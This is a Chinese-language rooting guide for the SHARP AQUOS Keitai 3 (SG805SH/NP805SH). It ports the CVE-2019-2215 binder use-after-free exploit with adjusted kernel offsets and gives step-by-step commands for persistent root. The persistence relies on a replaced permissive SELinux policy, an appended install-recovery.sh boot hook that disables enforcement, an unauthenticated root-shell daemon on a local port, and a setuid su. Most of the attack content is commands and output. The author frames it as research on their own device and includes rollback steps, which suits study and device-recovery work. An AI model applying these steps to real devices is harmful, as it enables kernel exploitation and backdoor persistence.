SHARP NP805SH ROOT 笔记
-
设备:SHARP SG805SH/NP805SH/AQUOS ケータイ3
平台:Qualcomm MSM8909 | Android 8.1.0 | Linux 3.18.71-perf
结果:重启自动生效的完整 capabilities root,无需再运行 exploit。
用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → (SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程)永久化。1. 资源
资源 地址 说明 Sharp OSS 页面 https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html必须用**商品名「AQUOS ケータイ3」**检索,型番 SG805SH搜不到内核源码 http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz171,646,693 字节,md5 d0a7aa6d16cf9441731f61697660f88dARM 工具链 AOSP prebuilts arm-eabi-4.8(android-8.1.0_r1分支)与设备编译器版本一致 CVE-2019-2215 报告 Project Zero issue 1942 Jann Horn & Maddie Stone ARM32 移植 ★ https://github.com/flipphoneguy/root-sonim-xp3800946 行,含 docs/arm32-port.md,本文 exploit 基于它3.18 PoC 参考 CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.183.18 分支专用 基础 PoC timwr/CVE-2019-2215流传最广的版本 2. 复现官方内核
没有正确的内核符号地址无从定位 exploit ,
selinux_enforcing与cred偏移。MSM8909 已 EOL,但 Sharp 公开了源码。2.1 环境
- WSL2 / Ubuntu 22.04(
.wslconfig设networkingMode=mirrored) arm-eabi-4.8(AOSP prebuilts)、pahole、secilc
2.2 配置与编译
设备原厂内核配置位于
/proc/config.gz(4375 行,世界可读),直接套用:tar xzf AQUOS_keitai3_S0018.tar.gz \ "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18" cp device.config ./msm-3.18/.config make ARCH=arm CROSS_COMPILE=$TC olddefconfig配置:
CONFIG_RANDOMIZE_BASE ❌ → 无 KASLR,内核地址固定 CONFIG_SLAB_FREELIST_RANDOM ❌ → 堆风水可控 CONFIG_DEBUG_INFO ✅ → vmlinux 自带 DWARF CONFIG_KALLSYMS_ALL ✅编译命令:
export KBUILD_BUILD_USER=sharp export KBUILD_BUILD_HOST=TG840314 export KBUILD_BUILD_VERSION=1 export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019" # ★ 必须逐字一致 HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon" make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux四个编译问题:
scripts/gcc-wrapper.py是 Python2 → 命令行覆盖CC=${TC}gcc- dtc 报
yylloc多重定义(GCC10+ 默认-fno-common)→HOSTCFLAGS补-fcommon msm_sensor.h找不到头文件 →sensor/io/Makefile补-If_midi.c找不到u_f.h→drivers/usb/gadget/Makefile补-I
关键:
KBUILD_BUILD_TIMESTAMP必须与设备构建时间逐字一致。版本串长度哪怕差一个字符,.data段整体偏移,符号地址全废。2.3 一致性验证(决定性一步)
strings vmlinux | grep -m1 'Linux version' # 期望: # Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) ) # #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019版本串逐字节一致还不够。设备
/proc/kallsyms有 131,900 条符号,本地System.map有 128,305 条,最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对:符号 本地 System.map 设备运行值 commit_credsc0138e84 c0138e84 
selinux_enforcingc146ef24 c146ef24 
init_credc13171d0 c13171d0 
sys_call_tablec0106b84 c0106b84 
3. 导出结构体偏移
CONFIG_DEBUG_INFO=y的 vmlinux 自带完整 DWARF,直接用pahole读:pahole -C binder_thread vmlinux pahole -C task_struct vmlinux pahole -C thread_info vmlinux pahole -C cred vmlinux实测结果:
struct binder_thread size 0x134 (308) → 落在 kmalloc-512 wait_queue_head_t wait 0x50 struct task_struct *task 0x130 ← UAF 后残留,可泄露 struct task_struct void *stack 0x004 const struct cred *cred 0x3AC ← ★ 需要替换 struct thread_info addr_limit 0x008 struct cred uid 0x004, securebits 0x024, cap_inheritable 0x028, cap_permitted 0x030, cap_effective 0x038, cap_bset 0x040, cap_ambient 0x0484. 移植 CVE-2019-2215
4.1
CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计
drivers/staging/android/binder.c确认:poll_wait(filp, &thread->wait, wait); // 脆弱写法依然存在 // binder_thread_release() 里缺少: // wake_up_poll(&thread->wait, POLLHUP | POLLFREE);检查项 结果 POLLFREE出现次数0 EPOLLFREE出现次数0 /dev/binder权限crw-rw-rw-(任意进程可打开)对照:较新机型(如 SH-03M)的源码里
POLLFREE存在,走不通。4.2 只改 2 个常量
基于
flipphoneguy/root-sonim-xp3800的 ARM32 移植版,仅需改两处:#define SELINUX_ENFORCING 0xc146ef24ul /* 原值 0xc1310ae8 */ #define OFFSET__task_struct__cred 0x3AC /* 原值 0x39C */其余偏移与本机完全一致:
BINDER_THREAD_SZ 0x134 WAITQUEUE_OFFSET 0x50 IOVEC_ARRAY_SZ 38 (0x134 / 8) IOVEC_INDX_FOR_WQ 10 (0x50 / 8,ARM32 下正好对齐)4.3 编译
arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c # 产物:673,424 字节,ELF32 ARM,静态链接ARM32 对齐、管道时序、两阶段泄露的细节见仓库
docs/arm32-port.md,不再展开。5. 获取临时 Root
adb push exploit_arm /data/local/tmp/ adb shell chmod 755 /data/local/tmp/exploit_arm adb shell /data/local/tmp/exploit_arm id预期输出:
[*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH) [*] start uid=2000 euid=2000 [+] ===== ROOT ===== uid=0 euid=0 gid=0 uid=0(root) gid=0(root) groups=0(root) getenforce → Permissive
️ exploit 存在竞态,约 1/5 概率导致内核 panic 重启(只会重启,不会变砖)。多试几次即可。
临时 root 只在本次进程树内有效,重启就没了——真正的工作在永久化。6. 永久化:三件套
6.0
Android 权限是三层叠加,缺任何一层都拿不到「完整 root」:
层 障碍 现象 解法 SELinux(domain) shell域没有capability setuidavc: denied { setuid },想写enforce又被拒(鸡生蛋)改策略,把 shell/install_recovery域设为 permissivecapability(bounding set) adbd的 bounding set 只有0xc0setuid 二进制无论如何突破不了 让 init 启动守护进程,继承完整的 0x3fffffffffDAC(uid) 需要 root uid — 前两者解决后自然获得 实测证据:
adbd(shell): CapBnd = 00000000000000c0 ← 只有 setgid / setuid init(pid 1): CapBnd = 0000003fffffffff ← 完整 38 个能力这解释了为什么单纯做一个 setuid
su不行——uid 变成 0 但能力位不够,mount、读/data/data等依旧失败。6.1 A:SELinux 策略改造
可行性前提:
/system无 dm-verity、无 AVB;init 优先加载预编译策略;plat 与 vendor 侧的.sha256内容相同(都指向未修改的 CIL),init 判定「预编译策略有效」直接加载/vendor里替换的那份。# 1) 用临时 root 拉取原始策略集合 adb shell "/data/local/tmp/exploit_arm sh -c \ 'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'" adb pull /data/local/tmp/selinux ./selinux adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin # 2) 在 plat_sepolicy.cil 末尾追加两行 cat >> selinux/plat_sepolicy.cil <<'EOF' (typepermissive shell) (typepermissive install_recovery) EOF # 3) 编译(★ 策略版本必须 30,对应 3.18 的 POLICYDB_VERSION_MAX) secilc -c 30 -o final_policy.bin \ selinux/plat_sepolicy.cil \ selinux/mapping/27.0.cil \ selinux/nonplat_sepolicy.cil # 产物:435,814 字节风险控制:一定要先在 PC 侧用
secilc完整编译验证通过再推到设备。策略语法错误可能导致无法开机。6.2 B:开机钩子 install-recovery.sh
/init.rc里有一个 oneshot 服务,以 init 身份执行脚本(没有 seclabel,不做域转换):service flash_recovery /system/bin/install-recovery.sh class main oneshot脚本末尾追加,即可拿到完整 bounding set,顺便设 permissive:
# --- 永久 root:设 permissive + 启动 root shell 守护进程 --- echo 0 > /sys/fs/selinux/enforce /system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &保留原逻辑只追加这段;权限 750,标签
u:object_r:install_recovery_exec:s0。6.3 C:root 守护进程 rootd
极简静态 C 程序(591,088 字节),监听
127.0.0.1:<port>,每个连接 fork 一个 shell:bind(... INADDR_LOOPBACK ...); accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。
arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c7. 部署与验证
7.1 部署顺序(全部通过临时 root 执行)
# 0) 推入产物 adb push final_policy.bin /data/local/tmp/final.policy adb push rootd /data/local/tmp/rootd adb push su_arm /data/local/tmp/su_arm # 1) 替换 SELinux 策略(先备份原始策略) adb shell "/data/local/tmp/exploit_arm sh -c '\ cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \ mount -o remount,rw /vendor; \ cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \ chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \ chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \ chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \ sync; mount -o remount,ro /vendor'" # 2) 修改开机钩子(先备份原文件,再追加 6.2 那段) adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \ printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \ chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \ chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \ sync; mount -o remount,ro /system'" # 3) 部署 rootd 与备用 su adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /data/local/tmp/rootd /system/xbin/rootd; \ cp /data/local/tmp/su_arm /system/xbin/su; \ chown 0:0 /system/xbin/rootd /system/xbin/su; \ chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \ chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \ sync; mount -o remount,ro /system'" # 4) 重启(此后不再需要 exploit) adb reboot7.2 验证
adb forward tcp:2323 tcp:2323 # 连接 127.0.0.1:2323,即得 root shell期望:
uid=0(root) gid=0(root) groups=0(root) context=u:r:install_recovery:s0 CapEff: 0000003fffffffff ← 完整能力 CapBnd: 0000003fffffffff ← 完整 bounding set mount -o remount,rw /system → OK ls /data/data/com.android.settings → OK cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds8. Root 之后怎么用
adb forward tcp:2323 tcp:2323PowerShell 一行示例:
$c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323) $s = $c.GetStream() $w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true $w.WriteLine("id") Start-Sleep 2 (New-Object IO.StreamReader($s)).ReadToEnd()两条备用通道:setuid su(uid=0,能力受限)
adb shell /system/xbin/su id;exploit(完整 root,约 1/5 概率 panic)adb shell /data/local/tmp/exploit_arm id。9. 设备上的文件清单
路径 内容 大小 / 权限 /vendor/etc/selinux/precompiled_sepolicy重编译 permissive 策略 435,814 字节 /system/bin/install-recovery.sh开机钩子(原逻辑 + 三行追加) 750 /system/xbin/rootdroot shell 守护进程 591,088 字节 /system/xbin/susetuid root(备用) 590,704 字节(4755) /data/local/tmp/exploit_armCVE-2019-2215 exploit(备用) 673,424 字节 回滚备份:
/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。10. 回滚
通过 root shell 执行:
mount -o remount,rw /vendor cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy mount -o remount,ro /vendor mount -o remount,rw /system cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh rm -f /system/xbin/rootd /system/xbin/su chmod 750 /system/bin/install-recovery.sh mount -o remount,ro /system11. 安全提醒
Root 之后设备安全性明显下降:SELinux 全局 Permissive;
shell/install_recovery域在策略层面被设为 permissive;/system/xbin/su是 setuid-root,任何能执行它的进程都能拿到 uid 0;rootd在127.0.0.1:2323提供无认证 root shell;/vendor与/system已被修改。请只在自己的设备上操作,需要恢复请见第 10 节。12. 复盘:为什么这台机器能成
- 「设备真名」决定检索成败——型番
SG805SH一无所获,商品名「AQUOS ケータイ3」就能找到官方内核源码; - EOL 芯片的补丁缺口——MSM8909 停更,厂商没有 backport binder 补丁,CVE-2019-2215 可用;
- Android 权限是三层叠加——DAC / capability bounding set / SELinux,任缺一层都拿不到「完整 root」;本文分别用 setuid、init 启动、策略修改把三层补齐;
- 精确复现内核是前提——和真机逐字节对齐的符号地址,exploit 才不需要盲猜;
CONFIG_DEBUG_INFO=y的 vmlinux 是宝库——pahole直接读出所有结构体偏移。
本文为安全研究与设备修复目的撰写,所有操作均在自己的设备上进行。
- WSL2 / Ubuntu 22.04(